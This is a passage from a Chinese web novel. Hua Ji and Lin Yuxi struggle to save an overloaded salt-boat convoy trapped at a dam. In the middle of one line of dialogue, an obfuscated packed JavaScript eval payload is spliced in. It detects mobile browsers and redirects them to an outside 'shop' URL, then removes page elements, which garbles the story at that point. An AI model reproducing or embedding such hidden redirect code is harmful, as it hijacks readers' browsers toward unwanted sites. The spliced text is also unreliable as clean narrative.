林玉溪的赞许瞬间打消了花棘心下的所有顾虑，她一下放松了情绪，叫方才胸口中郁结的怒火，轻易便吐了出来。 “不然呢？跑这么远是来挨骂的吗？我还没那么闲。” 林玉溪一侧手肘支在膝上，手掌悠闲地拖着下巴，他看着那满脸挑衅，仰头望向自己的女子，只觉满眼都是新奇。 从前，他只觉得女子娇柔才是美。 不想今日见了，原来嗔怒，也可以这么可爱。 “一向发娇嗔，碎挼花打人。” 一句小诗恰适眼前良辰美景，正涌上心间，林玉溪信马由缰便就此沉声吟了出来。 花棘当即反应过来诗文的意思，听罢，脸色一下子沉了下去。 扭头，转过身去，厉声送客：“郎君好走，恕不远送。” “哈哈哈哈哈......” 林玉溪放肆大笑，起身，长腿几步跨至岸边，径直跳上了一艘刚好经过这里的小船，活脱脱一个潇洒俊俏的少年郎。 身形将一落定，他便回过头，扬声对花棘说道：“小川跟你一起回去，再有什么想做的，尽管吩咐他去办。” 岸边坐着的女子听完，并未理人，林玉溪不再耽搁，转头，脸上笑意转瞬消散不见。 堤坝后方，第六艘货船眼看行至近前，而在它之前的另外几艘货船，也都已撑起了帆。 这一趟，辛苦兄弟们了，满心期待地跟着他出来，到头来又白忙了一场。 可若是连这么一个大好机会都不去拼一拼的话，再往前走，他们就真的没路了。 林玉溪将多余出来的人，全部带去了后方第五艘货船处，只何川留下来撑着竹筏，跟在花棘身边。 他从小跟在玉溪哥身边长大，可是没见过玉溪哥给过哪个外人这样的好脸，如今，花棘这个女孩子在他心中的形象，顿时又神秘了好几倍。 他是想着要听玉溪哥的话，只要花棘有吩咐，就好好帮着干活的。 但直到前面几艘货船都已经开动了，花棘也还是只蹲在岸边，不是看看碎木上的盐粒，就是走到河边，凑近了再看看水。 何川这边正盯着开起来的货船看，一旁花棘突然大喊着叫他。 “小川！” “啊，来了！”他赶忙应着看过去。 花棘正站在河水里，身上衣服一直湿到了腰际，她抬手一指远处的货船，语速极快地高声道： “去！告诉林玉溪水流的速度不对，叫前面几艘......” 然而，她话刚说到一半，便被第三艘货船底端，自河水深处传出的一连串巨响给打断了。 咯—咯—咯吱—— 这是在场所有人，最不想听到的声音。 可紧接着，第四艘货船底下又是一道。 咯——咯—— 35.第三十五章 花棘直接蹚水，小跑着翻身上了竹筏。 开口便是：“走！去后面第五艘货船那里。” 接着又问：“林玉溪在哪？” 何川当即猛撑一竿，竹筏已然向外滑出几丈远后，他才敢分散注意力，回应了花棘的话。 “玉溪哥他们，就在第五艘货船那里。” 花棘听过，没有再说话，而是立于竹筏一侧，眼睛一直注视着旁边第三、第四艘货船的情况。 她习惯性地将两条手臂交叉，抄手置于胸前，搭在左臂上的右手五指，急促地轻点着拍子。 第三、第四艘货船，在原本就超载的基础上，又多分担了从第一、第二艘货船上转移过来的盐袋，如此超额负重的货船，只要出现问题，会更容易侧翻，或沉没。 而又因为载重的压力，第三、第四艘货船在爬坡时的速度也会更慢，眼前是它们最难的一段路。 方才，在两艘船刚一开动的时候，她便始终在跟着监控后方下坡处的水流变化。 没用多久时间，她就发现水流的速度快了，比正常两艘货船在开动时所能带起的影响，要快出至少两倍多。 这也就意味着，盐粒融入进河水中后，造成的浮力变化比他们预想中的都要大。 即将到达的第六、第七艘货船，随着下降的水势持续加速，抵达堤坝处的冲击力只会更大。 船队内的八艘货船，都经过龙骨加强的改造，再加上每艘船运力的超载，一旦相撞...... 必须要规避开。 可如今，花棘回想着刚刚那两道骇人的“咯吱”声，这两艘船可能短时间内都无法再动了。 后面的第五和第六艘货船一定会相撞。 现在的问题是，当几艘船都被困在堤坝的低谷河道处后，他们该怎么办。 “那个......” 眼看他们正路过第三、第四艘货船停滞的水段，在撑船的何川忽而小心翼翼地问： “三、四两艘货船的破损严重吗？” “不知道。”花棘干脆地回道。 常年与漓河水打交道的老漕运人们，都清楚如今发生的变故，对两艘货船上的官盐意味着什么。 但她遥遥地望着，只见两艘船上，锤头抛锚，大缭与头缭合力降下主帆，水手们停下船桨，分批次交叉着往水下跳，持续不断地传递回水下船身损坏的情况。 甲板之上，一头一尾正副两位舵工各司其职，一人护盐，一人修船，有条不紊。 一方低谷处的危难仍在不断发酵，但惯于风雨中行舟的他们，自有一根可以撑天的血肉脊梁。 山川江河，酷暑严寒，大可来试炼底层蝼蚁的韧性。 花棘在这一个瞬间，恍然更明白了梅别鹤的那些坚持。 原来这么多年，默默隐忍的不只有她的老父，漕运人的香火从来也没断过。 灰烬深处，仍有余温在跳跃。 竹筏行进的速度很快，不到半盏茶的功夫，他们已经驶离出了两艘货船的视野，向着后方的高坡而去。 何川久久才终于收回视线，看向神色凝重的花棘时，忍不住又问了一句。 “那......这两艘船还能再继续行进了吗？” 花棘目视着西方天幕的晚霞，这一次稍作沉默了一瞬之后，才缓缓地说：“不知道。” 这两艘船接下来会怎么样，暂时能做的，只有等待。 悬在河面上空的落日，较之刚才看时更大更红了。 绚烂的霞光像是巨大火球外散出的火焰，红紫色的火焰染尽了半边天际的碎云，又浓烈到从碎云上，一路流淌至了江水里。 仿佛当巨大的火球彻底落下来时，便会将一整片江水全部煮沸、蒸腾。 与此同时，灰白的弯月冷眼旁观在晚霞之外，轻数着倒计时。 耳畔边密集的人声再度响起，花棘动身走去竹筏前头，现在最为重要的，是眼前的这第五艘货船。 然而，视线刚一落过去，花棘便被眼前的景象惊住了。 这第五艘一直不声不响停在后面的货船，何时长出了翅膀？ 船身两侧一对碎木堆成的“翅膀”，一侧大一侧小。 受货船整体悬停位置的影响，货船悬停在河道中偏靠一侧岸边的位置，因此，“翅膀”延伸向近侧河岸的一只小，延伸向远侧河岸的一只则大。 怪不得，之前在清理第一和第二艘货船的船体时，就曾有一队人，是专门向后方运送碎木的。 原来，用处在这啊。 随着竹筏的不断靠近，花棘是在绕过了大的那侧“翅膀”之后，才进一步发现其中的玄妙。 碎木并不是简单堆砌的，大的一侧“翅膀”后方，竟然是一个圆滑的弧形，而另一侧的“小翅膀”则要随意得多。 “再靠过去一些。” 为了看得仔细，她又叫何川将竹筏往近处停了停。 从先前货船上拆下来的碎木多半都是受损了的，而且，很多尺寸较大的硬木为了方便运送，都是在劈砍过之后才装船的，也就是说所有的碎木都是极不规则的才对。 但此刻呈现在她眼前的弧形，木块与木块间的拼凑严丝合缝，弧形转折整整一圈的支撑点，每一处都凿楔牢固，表面堪称圆滑。 很难想象这居然是在现有条件下，在如此短的时间内完成的。 参与动手的随船工匠们，定然是对船身的每一根木材都无比熟悉，才能实现出这最后的样子。 还有，与工艺同样重要的配合。 十几米见宽，高一米半多，几乎延伸至河岸边的弧形木架，厚度预计也接近了半米，绝无可能是三五个人就完成得了的。 花棘定睛看了一会儿，又回身望了望远处即将来至近前的第六艘货船，已然大致可以猜出，在船身两侧费力设置这样大小两个“翅膀”是做什么用的了。 只是，能够在突发事故发生后，便开始未雨绸缪直接想到这一步的，恐怕真正提出这个方法的人，远比执行者们更叫人诚服。 之所以她会在前两艘货船停滞的第一时间，就想到要往第五艘货船这里赶，也是因为，眼下，用这艘船在后方尽可能地牵制住，即将来到的第六艘船的冲击，是唯一的缓兵之法。 可终究，只能缓兵。 花棘转过身，扬手，竹筏逐渐向甲板处靠了过去。 “花棘姑娘来啦。” 林玉溪神色悠闲，把玩着石子，依靠在甲板边上，直等花棘细细看完，这才慢悠悠地开口。 “姑娘看过，我预备下的这一手，如何？”言语间，自我炫耀的意味属实太过明显。 花棘才踏上甲板，便有前后两组大概十四五人左右，浑身挂满了各式工具的人潮，从甲板一端狂奔了过来。 这边人刚一到达拼好的圆弧附近，几艘装满了碎木的货船便紧随其后，出现在了河岸一侧。 十几个人噗通噗通跳进水里，双臂大展着游水，片刻的功夫抵达到货船附近。 接着，便只听叮叮咚咚细碎的声音接连响起，十几个人一左一右两队，共同动手速度惊人地修补了起来，那架势一看就是典型的随船工匠。 花棘心领神会地望了一眼甲板的另一头，果然，“小翅膀”那里已经被人填补连接至了河岸边。 走向林玉溪面前，她随口评价了两句：“嗯，挺好，不错。” 而后，伸手要道：“远眺镜借 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17136562|190989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我一用。” 这里远眺镜的作用，和现代人所用的望远镜差不多，都是用不同类型的镜面，以特定的角度相互组合，来实现助人远视的功能。 只不过这个时代的远眺镜，成像模糊，视野狭窄，可放大倍数极其有限。 但作为长期航行时必备的“先进”工具，每一艘大型货船上都会配备。 林玉溪招手叫了一声，很快，远眺镜被送来。 花棘熟练地操控着，放置在自己的左眼前，借以观察第六艘货船尾部，船身拨开的水浪幅度。 少顷，她将远眺镜还回至林玉溪手上，直言道：“拦不住的。” 第六艘船两侧划桨的水手们早都停了，可正如她预料的那样，浮力改变之后，顺流而下的加速度还是太快了。 “我知道。”林玉溪伸手接过，眼睛却始终盯着花棘的脸在看。 他转而又用花棘先前说过的话，回复道：“都没试过，怎么就知道不行。” 一边弧形“大翅膀”的高度和尺寸，刚好可以将一艘货船的船头包进去，另一边的“小翅膀”也能够最大限度地增加阻力。 现下，再将两边“翅膀”与河岸彻底连接上，又能多出两股有效的摩擦力。 林玉溪是对的，这样操作下来，即便拦不住，也可以拖延出更多的时间。 远处的高坡之上，第六艘货船距此已不足五里。 他们现在最缺的，就是时间。 花棘没有再多说什么，而是转身望去了第三和第四艘货船所在的方向。 她与林玉溪两人，一前一后立于甲板边缘，只沉默地站着，在一侧船匠们敲击的修补声里，等一个消息。 不多时，一叶小舟迅速来至近前，干瘦的黑脸汉子连滚带爬地到了林玉溪面前。 第三与第四艘货船，行进不了了。 林玉溪听过，深邃的长眉少见地皱了起来，他双手插在腰上，刚要说些什么，身侧的花棘突然抢先开口。 “我去。” 花棘回头，看向林玉溪的眼睛。 她说：“我会尽力去试。” 他们两人心里都清楚，第六艘货船一到，撞击开始，两艘九丈长的货船，便要在狭窄的河道里并肩而行，林玉溪必须要在。 “好。” 林玉溪当即连犹豫都没有，径直应下。 他接着继续道：“我能够为你争取的时间，是第七艘货船到达之前。” “只要后面的第七艘货船，没把我这两艘船全给撞翻，前面的船要怎么救，随你花棘姑娘折腾。”林玉溪说着，又回到那副痞里痞气的德行。 “望你说到做到。” 花棘一边答他，一边环望向四周，脑中的思绪已然动了起来。 “你都需要什么？”林玉溪问。 花棘张口便是：“我要这里所有人的调配权。” “只是这样？”林玉溪笑了笑，“好说。我现在不是都在听你的吗。” 快速点好一组十个人之后，正当众人准备前往被卡住的货船处时，那个名叫花棘的神秘女子，却猛然指着岸边一处突起的高坡道： “我们去那。” “去哪？”何川立马不可置信地大声问道。 跟在花棘身后的几人，当即回头朝着林玉溪望去。 “看我干什么？” 林玉溪刚要准备走，随即玩笑着说道：“没发现我已经不是这里的老大了吗？” 他话说的随意，但熟悉他的人，自然都明白他的态度。 几步外，花棘自行跳上竹筏，头也不回地冷声问：“走不走？” 在她身后，林玉溪看向跟着花棘的十人，郑重地点了一下头。